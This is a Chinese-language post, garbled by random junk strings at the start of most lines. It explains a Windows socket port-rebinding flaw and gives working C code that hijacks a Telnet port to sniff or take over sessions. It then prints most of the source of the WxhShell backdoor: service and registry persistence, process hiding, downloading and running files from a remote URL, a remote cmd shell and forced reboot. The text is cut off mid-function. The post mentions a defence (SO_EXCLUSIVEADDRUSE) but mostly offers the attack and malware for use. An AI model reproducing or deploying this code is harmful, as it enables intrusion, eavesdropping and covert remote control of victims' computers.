在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
M} Mgz s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
{}BAQ9|q 3lN@1jlh saddr.sin_family = AF_INET;
l_P90zm39! U"L-1]L saddr.sin_addr.s_addr = htonl(INADDR_ANY);
BxB B]( zEw~t&:e bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
Sp[]vm8N 2FR5RG
oD 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
gN[^ ,u H"wIa8A 这意味着什么?意味着可以进行如下的攻击:
Rp6q) =|H.r9-PK6 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
}w{E<C(M x}#N?d 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
2g;Id.i> i>(TPj| 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
/b410NP5 1+qP7 3a^ 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
uz;eYD &@'+h*
b 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
@GF3g= a?*pO`<J{ 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
*C.Kdf3w }|l7SFst 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
c, }VC- jwheJG #include
}l_8~/9 #include
n'!x"O7 #include
.d+zF,02Z #include
xxOhGA) DWORD WINAPI ClientThread(LPVOID lpParam);
V9wL3* int main()
%{0F. {
rnBp2'EM WORD wVersionRequested;
8(
bK\-b DWORD ret;
dEam| WSADATA wsaData;
%I@vM s^ BOOL val;
P|TM4i] SOCKADDR_IN saddr;
nY,LQ0r SOCKADDR_IN scaddr;
o 80x@ &A: int err;
{HjJ9ZGQ SOCKET s;
c!mMH~# SOCKET sc;
WnA
Y<hZ| int caddsize;
=Ea,8bpn HANDLE mt;
{8,_[?H DWORD tid;
Q<(aU{ wVersionRequested = MAKEWORD( 2, 2 );
SZvC4lOn# err = WSAStartup( wVersionRequested, &wsaData );
GZm=>!T if ( err != 0 ) {
DH:9iX ' printf("error!WSAStartup failed!\n");
Ti>}To}B5 return -1;
+R"n_6N }
IH.EvierJ saddr.sin_family = AF_INET;
f,ql8q(|J j_S3<wEJ //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
*E-MJCv =FfR?6 ~ saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
W3n[qVZIC saddr.sin_port = htons(23);
<]*Jhnx/ if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
\8USFN~(Y {
Is9.A_0h printf("error!socket failed!\n");
38%"#T3# return -1;
CiTWjE?|7 }
9fsc>9 val = TRUE;
Z
4c^6v //SO_REUSEADDR选项就是可以实现端口重绑定的
upFe{M@ if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
3;R`_#t+ {
D!i|KI/ printf("error!setsockopt failed!\n");
,q$2D,dz return -1;
{*nE8+..A }
/f hS#+V* //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
5[~C!t; //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
V@K^9R,| //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
}6*JX\'q ri4:w_/{,Y if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
qJR8fQ {
m/`L3@7Tt ret=GetLastError();
EF;B)y= printf("error!bind failed!\n");
.ZM0cwF return -1;
&"Fz)} }
&LQfs4}a, listen(s,2);
qBZ;S3 while(1)
LN9.Q'@r? {
m;PTO$-- caddsize = sizeof(scaddr);
^BP4l_rO9 //接受连接请求
'Y]<1M>.g sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
n,{ if(sc!=INVALID_SOCKET)
${`q! {
&?k`rF9 mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
){w!<Lb if(mt==NULL)
a&[>kO {
]NKz5[9D printf("Thread Creat Failed!\n");
EW/N H&{ break;
'lmjZ{k }
l!ZzJ& }
\!k\%j9 CloseHandle(mt);
A@reIt }
?28)l
4 Ml closesocket(s);
{_ZbPPh;M" WSACleanup();
nFwdW@E9 return 0;
=.,XJIw& }
:)Da^V DWORD WINAPI ClientThread(LPVOID lpParam)
Me^L%%:@ {
=q[ynZ8O\w SOCKET ss = (SOCKET)lpParam;
A[f`xE SOCKET sc;
E cd~H+ unsigned char buf[4096];
rK4
pYo
SOCKADDR_IN saddr;
?S.LGc long num;
B9'2$s+Z; DWORD val;
S}K-\[i? DWORD ret;
'Y/8gD~. //如果是隐藏端口应用的话,可以在此处加一些判断
.[Ny(X/]/} //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
>Fc=F#tA9 saddr.sin_family = AF_INET;
{7K l#b saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
8qT^=K
$ saddr.sin_port = htons(23);
<g, 21(bc if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
51'V[tI;8 {
='(;!3ZH printf("error!socket failed!\n");
EpENhC0 return -1;
vb`: }
/}s# val = 100;
$[b1_Db if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
dCzS f4: {
D?"Q)kVuD ret = GetLastError();
uFaT~ 4 return -1;
2gnz= }
Vb?_RE_H if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
lNvxt6@s {
B*fBb.Z ret = GetLastError();
wL&[Vi_j{ return -1;
:BblH0' }
<O{G& if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
,_: 6qn{ {
+@<@x4yt printf("error!socket connect failed!\n");
zZV9`cqZ{ closesocket(sc);
]K<7A!+@@p closesocket(ss);
H)K.2Q return -1;
oB+@05m8 }
]Yf8 while(1)
mQ\oR| {
TaZlfe5z //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
r6kQMFA //如果是嗅探内容的话,可以再此处进行内容分析和记录
N
Q}5' //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
+sXnC\ num = recv(ss,buf,4096,0);
07Oagq( if(num>0)
]jV1/vJ-! send(sc,buf,num,0);
u<HJFGLzI else if(num==0)
[LS s|f break;
qtp-w\#S$ num = recv(sc,buf,4096,0);
D
\boF+^ if(num>0)
dkZ[~hEQG- send(ss,buf,num,0);
Rtai? else if(num==0)
}$:ha> break;
EtDzmpJR> }
O! w&3 p closesocket(ss);
?$b*)< closesocket(sc);
7[8d-Sf24{ return 0 ;
g]._J }
5~"m$/yE P2 +^7x? 3UJSK+d\ ==========================================================
ak(P<OC- #}8gHI-9% 下边附上一个代码,,WXhSHELL
mMad1qCi7 5
Praj ==========================================================
>F/5`=/'h j7C&&G q #include "stdafx.h"
g+=f=5I3 @T{I;8S #include <stdio.h>
2X=*;r"{J #include <string.h>
9tB:1n} #include <windows.h>
'zQp64]F #include <winsock2.h>
Y>K3.*. #include <winsvc.h>
q)]S:$?BT #include <urlmon.h>
@ oFuX. ] -G~ #pragma comment (lib, "Ws2_32.lib")
gR k+KGKn< #pragma comment (lib, "urlmon.lib")
_"qX6Jc *w1R> #define MAX_USER 100 // 最大客户端连接数
M532>+A]Za #define BUF_SOCK 200 // sock buffer
*)i+ c{~ #define KEY_BUFF 255 // 输入 buffer
HE3x0H}o> BR0P :h #define REBOOT 0 // 重启
lAx8m't}6 #define SHUTDOWN 1 // 关机
TzsNhrU{ @34CaZ$k #define DEF_PORT 5000 // 监听端口
&P>a SY+$8^ #define REG_LEN 16 // 注册表键长度
xx,|n #define SVC_LEN 80 // NT服务名长度
\05 n$. Z'y:r2{ql // 从dll定义API
s=)1:jYk typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
g]}E1H6- typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
lLuAg ds` typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
n}q/:|c typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
N#vV; ;3N>m|?D= // wxhshell配置信息
m H&WoL<K struct WSCFG {
h?&S*)1 int ws_port; // 监听端口
],Y+|uX-> char ws_passstr[REG_LEN]; // 口令
gOn^}%4.I int ws_autoins; // 安装标记, 1=yes 0=no
@ {8xL char ws_regname[REG_LEN]; // 注册表键名
=%d0MZD char ws_svcname[REG_LEN]; // 服务名
3HB(rTw char ws_svcdisp[SVC_LEN]; // 服务显示名
Ndqhc char ws_svcdesc[SVC_LEN]; // 服务描述信息
W$u/tRF char ws_passmsg[SVC_LEN]; // 密码输入提示信息
3?yq*uE} int ws_downexe; // 下载执行标记, 1=yes 0=no
.KE2sodq char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
c +]5[6 char ws_filenam[SVC_LEN]; // 下载后保存的文件名
+q)B4A'J! 'M3V#5l)@| };
l1}HJmom o%?~9rf]] // default Wxhshell configuration
M\be a struct WSCFG wscfg={DEF_PORT,
8f-B-e?k "xuhuanlingzhe",
RQd5Q. 1,
__,}/|K2 "Wxhshell",
@m ?&7{y#? "Wxhshell",
O:te;lQK "WxhShell Service",
#Pq.^ ^ "Wrsky Windows CmdShell Service",
Z$ Mc{ "Please Input Your Password: ",
Tg#%5~IX 1,
w_^g-P[o- "
http://www.wrsky.com/wxhshell.exe",
"pkn "Wxhshell.exe"
-hpMd/F };
1$rrfg 7D wf0Re` // 消息定义模块
jxA*Gg3cT5 char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
c^BeT; char *msg_ws_prompt="\n\r? for help\n\r#>";
X5Ff2@."y| char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
^[-3qi char *msg_ws_ext="\n\rExit.";
\d"M&-O char *msg_ws_end="\n\rQuit.";
Mj- B;r char *msg_ws_boot="\n\rReboot...";
5SmgE2 } char *msg_ws_poff="\n\rShutdown...";
t[?O*> char *msg_ws_down="\n\rSave to ";
u7ER *61G<I char *msg_ws_err="\n\rErr!";
$eUJd Aetk char *msg_ws_ok="\n\rOK!";
(% f2ZNen gAViwy9{ char ExeFile[MAX_PATH];
/,#&Htk int nUser = 0;
_.$g ?E/( HANDLE handles[MAX_USER];
7Ys\=W1 int OsIsNt;
ixI fJ +UC- SERVICE_STATUS serviceStatus;
9x9~u8j SERVICE_STATUS_HANDLE hServiceStatusHandle;
b0"R |d[i LzJNQd' // 函数声明
*L~88-V^ int Install(void);
Y'%k
G5nF int Uninstall(void);
h"5!puN+ int DownloadFile(char *sURL, SOCKET wsh);
f8?c[%br int Boot(int flag);
2zN%Z!a#J void HideProc(void);
H@pF3gh int GetOsVer(void);
p(]o#$ 6[ int Wxhshell(SOCKET wsl);
dTW3mF4= void TalkWithClient(void *cs);
mBZg(TY int CmdShell(SOCKET sock);
{!rpE7P- int StartFromService(void);
8]-c4zK int StartWxhshell(LPSTR lpCmdLine);
-?&s6XA%# 5 NdIbC VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
iH""dtO VOID WINAPI NTServiceHandler( DWORD fdwControl );
QUU'/e2^c -{'WIGm // 数据结构和表定义
Jv9yy~ SERVICE_TABLE_ENTRY DispatchTable[] =
SH${ \BKup {
F/I`EV {wscfg.ws_svcname, NTServiceMain},
5Myp#!|x: {NULL, NULL}
juc;]CHt' };
3m9ab" Ue22,Pp6 // 自我安装
8f0Ytfhw int Install(void)
4?)-;Hx_X {
t&99ZdE char svExeFile[MAX_PATH];
&;O)Dw HKEY key;
IrZ!.5%tV strcpy(svExeFile,ExeFile);
P<WCW3!JZ *n h.&Mv| // 如果是win9x系统,修改注册表设为自启动
2gnmk
TyF if(!OsIsNt) {
ZhpbbS if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
Z#P:C":e RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
R8<'m
RegCloseKey(key);
f~NGIlgR if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
M;Dk$B{;R RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
EsR$H2" RegCloseKey(key);
'6&a8&: return 0;
9s}y*Vp }
B Ctm05 }
8S_v} NUm }
@s2<y@ else {
UF ]g6u XV>
)[Nd\H // 如果是NT以上系统,安装为系统服务
!?~>f>js_l SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
>X"V if (schSCManager!=0)
L)Iv]u {
V!94I2%#x SC_HANDLE schService = CreateService
<(U:v (
:UgCP ~Y schSCManager,
2l9RU} wscfg.ws_svcname,
Z7t-{s64 wscfg.ws_svcdisp,
0=^A{V!m SERVICE_ALL_ACCESS,
M>BcYbXf SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
}JKK"d}U SERVICE_AUTO_START,
BCK0fk~ SERVICE_ERROR_NORMAL,
T+y3Ph--^ svExeFile,
5@xl/ NULL,
;%H/^b.c NULL,
@a{1vT9b NULL,
&CEZ+\bA NULL,
1hQeuG NULL
tb@&!a$`? );
.;&1"b8G if (schService!=0)
psHW(Z8G {
oMj;9,WK' CloseServiceHandle(schService);
JNYFu0 CloseServiceHandle(schSCManager);
C;&44cU/] strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
/v,H%8S strcat(svExeFile,wscfg.ws_svcname);
~J Xqyw} if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
p+F{iMC RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
s}pn5zMp:8 RegCloseKey(key);
,?Bo
x return 0;
~A5MzrvIO2 }
s$s]D\N }
eviv, CloseServiceHandle(schSCManager);
!}gC0dJ }
rg^ }
B.-1wZl i!!1^DMrw return 1;
N d"4*l; }
cF7efs8u lQolE P.pc // 自我卸载
zu~E} int Uninstall(void)
wSMP^kG {
/5y*ZIq]e HKEY key;
)fo9Qwe >,Zf3M if(!OsIsNt) {
V>`xTQG if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
vl'2O7 RegDeleteValue(key,wscfg.ws_regname);
nz=X/J6 RegCloseKey(key);
z&6TdwhV if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
=h4*
^NJ RegDeleteValue(key,wscfg.ws_regname);
l$_Yl&!q$ RegCloseKey(key);
BWbM$@'x return 0;
wlM"Zt }
'NJCU.lKm }
5+gSpg]i }
;c-J)Ky else {
Q@in?}; 1Ue;hu'q: SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
V*m@Rs!)2 if (schSCManager!=0)
G@O~*k1v {
]y:ez8RFPU SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
q~^qf if (schService!=0)
nbpGxUF`] {
].j;d2xT\ if(DeleteService(schService)!=0) {
m&H@f: CloseServiceHandle(schService);
#sOkD CloseServiceHandle(schSCManager);
ItZqLUJm return 0;
Fnnk}I} }
1%?J l~M CloseServiceHandle(schService);
pD+_ K }
_dT,%q CloseServiceHandle(schSCManager);
W+&w'~M }
~
cKmf] }
eJ+uP,$ }K!)Z}8 return 1;
b-1cA1#_cP }
!NNq( t dJZMzn // 从指定url下载文件
J~6-}z int DownloadFile(char *sURL, SOCKET wsh)
>&|C
E2' {
_7AR2 HRESULT hr;
BnLM ;5
> char seps[]= "/";
Wb_'X |"u char *token;
/5ngPHy& char *file;
OIuEC7XM^C char myURL[MAX_PATH];
O43emL3 char myFILE[MAX_PATH];
#)aUKFX iI27N'g strcpy(myURL,sURL);
liW0v!jBo token=strtok(myURL,seps);
qeK_w
' while(token!=NULL)
<$^76=x,8P {
-/>SdR$D7 file=token;
C0xjM0 token=strtok(NULL,seps);
X
8V^ }
t,*hxzD" jXBAo GetCurrentDirectory(MAX_PATH,myFILE);
r>=)Y32Q strcat(myFILE, "\\");
\;z*j|;B strcat(myFILE, file);
_] ~ gp. send(wsh,myFILE,strlen(myFILE),0);
NArql send(wsh,"...",3,0);
%"2;i@ hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
: GZx- if(hr==S_OK)
?N
6'*2{NT return 0;
v'"0Ya else
fh0a "#L{ return 1;
8._
A[{.f L#Mul&r3x0 }
YxEc(a" K5O#BBX= // 系统电源模块
zFy0SzF int Boot(int flag)
wzr3y}fCe {
u? a*bW HANDLE hToken;
JmJ8s hq TOKEN_PRIVILEGES tkp;
J1waiOh Oy:;v7 if(OsIsNt) {
LV4]YC OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
}1A Brbc LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
@S /jVXA tkp.PrivilegeCount = 1;
; ]*
%wX tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
H\OV7=8 AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
oT5N_\ if(flag==REBOOT) {
Iv6(Z>pAB if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
Hshm;\' return 0;
tpJe1 J< }
&-Bw7v else {
~kdxJP" if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
5]/i[T_ return 0;
bk@F/KqL }
~bSPtH
]6d }
GA,6G [E else {
wf4?{H if(flag==REBOOT) {
prf if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
CNCWxu return 0;
Cv@ZzILyoK }
.w/_Om4T*b else {
K:!|xr(1d if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
`'Fz:i return 0;
A4lh`n5% }
-6(u09mb_ }
)z'LXy8 |K(j}^1k return 1;
sb"etc`w%- }
y^vB_[6l -nbo[K // win9x进程隐藏模块
86c@Kk7z void HideProc(void)
8+ P)V4} {
>z'kCv _e%jM[ HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
Ccmo(W+0 if ( hKernel != NULL )
#HjiE {
|!VSed#FSn pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
`GsFvxz ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
Sm6hyZFy FreeLibrary(hKernel);
oMH-mG7:K }
:J|t! ` F]e] return;
& 5!.!Z3 }
:"Vfn:Q Uq0GbLjv" // 获取操作系统版本
j]uL9\> int GetOsVer(void)
r+T@WvS%W {
|5o0N8!b[ OSVERSIONINFO winfo;
ZT>?[`Vgc winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
&F4khga`^: GetVersionEx(&winfo);
V)
#vvnq if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
bL: !3|M return 1;
g4(vgWOW` else
pIKQx5; return 0;
p>w{.hC@ }
M_-LI4> vs3px1Xe# // 客户端句柄模块
Bnju_)U5) int Wxhshell(SOCKET wsl)
)Mw<e {
6%/@b`vZ SOCKET wsh;
OR4ZjogzY struct sockaddr_in client;
Q{ hXP*5 DWORD myID;
1bW[RK;GE =|)W#x9= while(nUser<MAX_USER)
1&S34wJF {
F9DY\EI int nSize=sizeof(client);
[X +E wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
Q~R7 ]AyR if(wsh==INVALID_SOCKET) return 1;
S GAu.8Js )<w`E{q handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
II!Nr{A if(handles[nUser]==0)
>j [> 0D closesocket(wsh);
YzTmXwuA5 else
F`W8\u'db nUser++;
739J] M }
E;[ANy4L WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
qd@x#"qT %1E:rw@ return 0;
0/".2(\}T }
bVEt?E*+ Ood8Qty( // 关闭 socket
K)m\xzT/ void CloseIt(SOCKET wsh)
*82f{t] {
Ku6bY| closesocket(wsh);
p~ `f.q$' nUser--;
cVrses^yE ExitThread(0);
e0i&?m }
y'ZRoakz) u="VJ3 // 客户端请求句柄
eGZ{%\PH< void TalkWithClient(void *cs)
a@[y)xa$Z
{
EAVB:gE O gQE1{C SOCKET wsh=(SOCKET)cs;
Y9h~ hD char pwd[SVC_LEN];
x1\a_Kt char cmd[KEY_BUFF];
<S*o}:iB char chr[1];
GEr]zMYG[A int i,j;
seT?:PCA `^t0379e while (nUser < MAX_USER) {
3*13XQ Za+26#g if(wscfg.ws_passstr) {
-"u9s[L{ if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
; Drt4fOxX //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
[I*BEJ;W' //ZeroMemory(pwd,KEY_BUFF);
.Rq|F i=0;
Jf<+VJ>t while(i<SVC_LEN) {
(A.%q1h <"|BuK // 设置超时
~HbZRDcJc fd_set FdRead;
O2[uN@nY struct timeval TimeOut;
ekB!d
FD_ZERO(&FdRead);
>P7|-bV FD_SET(wsh,&FdRead);
P4vW.|@ TimeOut.tv_sec=8;
[[{y?-U TimeOut.tv_usec=0;
H-gq0+,yE int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
JFw<Po,MEa if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
k _)H$* ^rd]qii" if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
&%QtUPvr9 pwd
=chr[0]; ISy\g`d`C
if(chr[0]==0xd || chr[0]==0xa) { &5fM8Opkd
pwd=0; vi+k#KE
break; <^}{sdOyu
} VH&6Tm1
i++; V,=V
} F<wwuCbF
&lg+uK
// 如果是非法用户,关闭 socket K2J DG.<
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 6PETIs
} /aa'ryl_%
tlo"tl_]
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); Go>_4)jy
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); pgg4<j_mn
_h#SP+>
while(1) { 5f&+(Wqw
8+5-7)
ZeroMemory(cmd,KEY_BUFF); we6']iaV
b<UZDy N~
// 自动支持客户端 telnet标准 ]ee%=+'
j=0; gie}k)&M
while(j<KEY_BUFF) { X9^a:7(
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); W (N@`^
cmd[j]=chr[0]; ZJz6{cY
if(chr[0]==0xa || chr[0]==0xd) { ve.rpF\
cmd[j]=0; )M5:aSRz
break; kFPZ$8e
}
Xrpzc~(
j++; +R}(t{b#
} > <WR]`G
;qT~81
// 下载文件 KD]8n]c
if(strstr(cmd,"http://")) { 8NLTq|sW
send(wsh,msg_ws_down,strlen(msg_ws_down),0); Snx_NH#tA
if(DownloadFile(cmd,wsh)) f]F]wg\_f
send(wsh,msg_ws_err,strlen(msg_ws_err),0); {5}UP@h
else n,eO6X 4
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 0*?~I;.2m$
} q=8I0E&q
else { yw'b^D/
IZ /M d@C
switch(cmd[0]) { y"=j[.
OA#AiQUR
// 帮助 mgeNH~%m@*
case '?': { =
E'\
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); Jt6~L5[_s
break; X5kIM\
} ;5tSXgGw7
// 安装 D@T>z;
case 'i': { AtNu:U$
if(Install()) e-Z+)4fH
send(wsh,msg_ws_err,strlen(msg_ws_err),0); b?U!<s.
else %H\i}}PTe
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); LO8V*H(
break; w]w>yD>$
} Lc;4 Hg
// 卸载 mVGQyX
case 'r': { jdxwS
if(Uninstall()) B9;dX6c
send(wsh,msg_ws_err,strlen(msg_ws_err),0); @A(*&PU>j
else 56(S[
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); XBv:$F.>$
break; M/
@1;a@\
} yP\KIm!
// 显示 wxhshell 所在路径 &-#!]T-P:E
case 'p': { e=KA|"vxh
char svExeFile[MAX_PATH]; Y>z~0$
strcpy(svExeFile,"\n\r"); Y4,~s64e
strcat(svExeFile,ExeFile); VZNMom,Wr
send(wsh,svExeFile,strlen(svExeFile),0); ;' !G?)PZ
break; :AYp{"{
} ffo{4er
// 重启 =\7o@ 38
case 'b': { -~Kw~RX<(
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ]Bw2> 6W
if(Boot(REBOOT)) l;$HGoJ
send(wsh,msg_ws_err,strlen(msg_ws_err),0); `9SRiy
else { QjMH1S
closesocket(wsh); ^]}UyrOn
ExitThread(0); fw@n[u{~
} '6*^s&H~
break; H8j#rC#&pm
} !gv/ jdF
// 关机 #)`N
case 'd': { D2x-Wa
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); o ohgZ&k2]
if(Boot(SHUTDOWN)) - 7)%J+5
send(wsh,msg_ws_err,strlen(msg_ws_err),0); "\bbe @
else { *"#62U6
closesocket(wsh); FCxLL"))
ExitThread(0); 9:N@+;|T
} HgJ:R f]
break; +VSJve |
} \vbU| a
// 获取shell *9((X,v@/
case 's': { Rk8>Ak(/
CmdShell(wsh); 26|2r
closesocket(wsh); o|lEF+
ExitThread(0); B'\^[
break; 5I9~OJ>
} _gZ8UZ)
// 退出 ?2l#=t?PP
case 'x': { [xiZkV([
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 0,*clvH\;
CloseIt(wsh); p$dVGvM(
break; T% J;~|
} Fi.gf?d
// 离开 -miWXEe@l
case 'q': { t3!?F(&
send(wsh,msg_ws_end,strlen(msg_ws_end),0); s"b()JP
closesocket(wsh); INZycNqm,
WSACleanup(); JFe %W?}.D
exit(1); wb^Yg9
break; !\wdX7%
} Oz{.>Pjn^o
} (6i)m
c(
} 1SoKnfz{6
L<bZVocOb_
// 提示信息 ]O2ku^yM
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); )3g7dtq}
} ZGrjb22M
} L|4kv
=)}m4,LA
return; 'j>+eA>
} BH _y0[y
pE(\q+1<
// shell模块句柄 ^b=] =w
int CmdShell(SOCKET sock) F;p>bw
{ DI O @Zo
STARTUPINFO si; Q*|O9vu'D
ZeroMemory(&si,sizeof(si)); SiJ0r
@
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; J9J[.6k8
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; /HR9(j6
PROCESS_INFORMATION ProcessInfo; 't".~H_V
char cmdline[]="cmd"; *oLAO/)n
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); sdP% Y<eAT
return 0; MkJ}dncg*
} FtbqZN[
\,jrug<C$^
// 自身启动模式 Qzy[
int StartFromService(void) {H
OvJ`tM
{ yyZ}qnbx]
typedef struct Bs2.$~
{ oK1"8k|Z
DWORD ExitStatus; yGl
(QLk
DWORD PebBaseAddress; b5u_x_us|
DWORD AffinityMask; \q#s/&b
DWORD BasePriority; z-(@j;.
ULONG UniqueProcessId; GFd~..$
